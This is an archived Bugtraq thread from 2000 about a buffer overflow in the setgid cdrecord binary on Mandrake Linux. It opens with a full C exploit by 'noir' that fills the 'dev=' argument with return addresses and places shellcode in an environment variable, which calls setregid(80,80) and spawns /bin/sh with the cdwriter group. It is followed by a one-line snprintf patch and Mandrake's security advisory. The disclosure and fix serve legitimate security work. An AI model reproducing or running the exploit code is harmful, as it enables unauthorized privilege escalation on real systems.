5144278 2000-05-29 23:43 /93 rader/ Postmaster
Mottagare: Bugtraq (import) <11056>
Ärende: Mandrake 7.0: /usr/bin/cdrecord gid=80 (strike #2)
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Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
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Message-ID: <392FEB2E.10996FFD@gsu.linux.org.tr>
Date: Sat, 27 May 2000 18:35:10 +0300
Reply-To: noir <noir@GSU.LINUX.ORG.TR>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: noir <noir@GSU.LINUX.ORG.TR>
X-To: bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
U may say gid=80 (cdwriter) is useless but anyways here is the xploit
respect,
noir
PS: wait for strike #3
/* /usr/bin/cdrecord exploit by noir
* x86/Linux
* noir@gsu.linux.org.tr | noir@olympos.org
* dev= param overflow
* this script will get you gid = 80 group cdwriter
* tested on Mandrake 7.0 (Air)
* greetz: dustdevil, Cronos, moog, still, BlaCK #olympos irc.sourtimes.org
*
*
*/
#include <stdio.h>
#include <string.h>
#define NOP 0x90
#define RET 0xbffffe66 //play with argv[1] +10, -10 if default is not ok
int
main(int argc, char *argv[])
{
unsigned char shell[] =
"\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /*setregid(80, 80) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char egg[400];
char buf[80];
int i, a;
long ret = RET;
if(argv[1])
ret = ret - atoi(argv[1]);
memset(egg, NOP, 400);
for(i = 0 ; i < 80 ; i+=4)
*(long *) &buf[i] = ret;
for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
egg[i] = shell[a];
buf[72] = 0x00;
egg[399] = 0x00;
printf("eip: 0x%x\n", ret);
setenv("EGG", egg, 1); execl("/usr/bin/cdrecord",
"cdrecord","dev=", buf, "/etc/passwd", 0);
}
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=o1d1
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(5144278) ------------------------------------------(Ombruten)
5151868 2000-06-01 07:12 /26 rader/ Postmaster
Mottagare: Bugtraq (import) <11066>
Ärende: Re : PATCH : cdrecord.
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Message-ID: <87aeh8ujmt.fsf@alph.dyndns.org>
Date: Tue, 30 May 2000 17:45:30 +0200
Reply-To: yoann@MANDRAKESOFT.COM
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: yoann@MANDRAKESOFT.COM
X-To: bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
Made a typo in my first patch, sorry.
--- cdrecord-1.8.1.orig/cdrecord/defaults.c Sun Apr 16 02:08:58 2000
+++ cdrecord-1.8.1/cdrecord/defaults.c Tue May 30 13:30:45 2000
@@ -109,7 +109,7 @@
return;
x++;
}
- sprintf(dname, "%s=", p);
+ snprintf(dname, sizeof(dname), "%s=", p);
--
-- Yoann http://www.mandrakesoft.com/~yoann/
It is well known that M$ product don't make a free() after a
malloc(), the unix community wish them good luck for their future
developement.
(5151868) ------------------------------------------(Ombruten)
5158039 2000-06-04 02:31 /66 rader/ Postmaster
Mottagare: Bugtraq (import) <11131>
Ärende: [Gael Duval <gduval@mandrakesoft.com>] [Security Announce
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cdrecord
Approved-By: aleph1@SECURITYFOCUS.COM
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Message-ID: <m2n1l2k7k6.fsf@vador.mandrakesoft.com>
Date: Sat, 3 Jun 2000 19:17:45 +0200
Reply-To: Chmouel Boudjnah <chmouel@MANDRAKESOFT.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Chmouel Boudjnah <chmouel@MANDRAKESOFT.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
-------------------------------------
Linux-Mandrake Security Update
-------------------------------------
Package: cdrecord
Affected versions: 6.1 7.0
Problem: The linux cdrecord binary is vulnerable to a locally
exploitable buffer overflow attack. When installed on a Linux-Mandrake
distribution, it is by default setgid "cdburner" (which is a group,
gid: 80, that is created for the application). The overflow condition
is the result of no bounds checking on the 'dev=' argument passed to
cdburner at execution time. This vulnerability can be exploited to
execute arbitrary commands with the gid "cdburner".
Please upgrade to:
md5sum: 8f4544f8307019230e74717a9b836051
package: 7.0/RPMS/cdrecord-1.8.1-4mdk.i586.rpm
md5sum: 6daec92096f82bfac45a3346cbdc9cdb
package: 7.0/RPMS/cdrecord-cdda2wav-1.8.1-4mdk.i586.rpm
md5sum: 7dd8e55e2f2879ed84d7b667a09bc77c
package: 7.0/RPMS/cdrecord-devel-1.8.1-4mdk.i586.rpm
md5sum: da6240b73b4238ae554dbf45616319ec
package: 7.0/RPMS/mkisofs-1.12.1-4mdk.i586.rpm
md5sum: 624aebaf07615e3f18471d3ff9af4ede
source package: 7.0/SRPMS/cdrecord-1.8.1-4mdk.src.rpm
To upgrade automatically, use « MandrakeUpdate ». If you want to
upgrade manually, download the updated package from one of our FTP
server mirrors and uprade with "rpm -Uvh package_name". All mirrors
are listed on http://www.mandrake.com/en/ftp.php3 Updated packages are
available in the "updates/" directory.
For example, if you are looking for an updated RPM package for
Mandrake 7.0, look for it in: updates/7.0/RPMS/
Note: we give the md5 sum for each package. It lets you check the
integrity of the downloaded package by running the md5sum command on
the package ("md5sum package.rpm").
--
MandrakeSoft Inc http://www.mandrakesoft.com
In travel. --Chmouel
(5158039) ------------------------------------------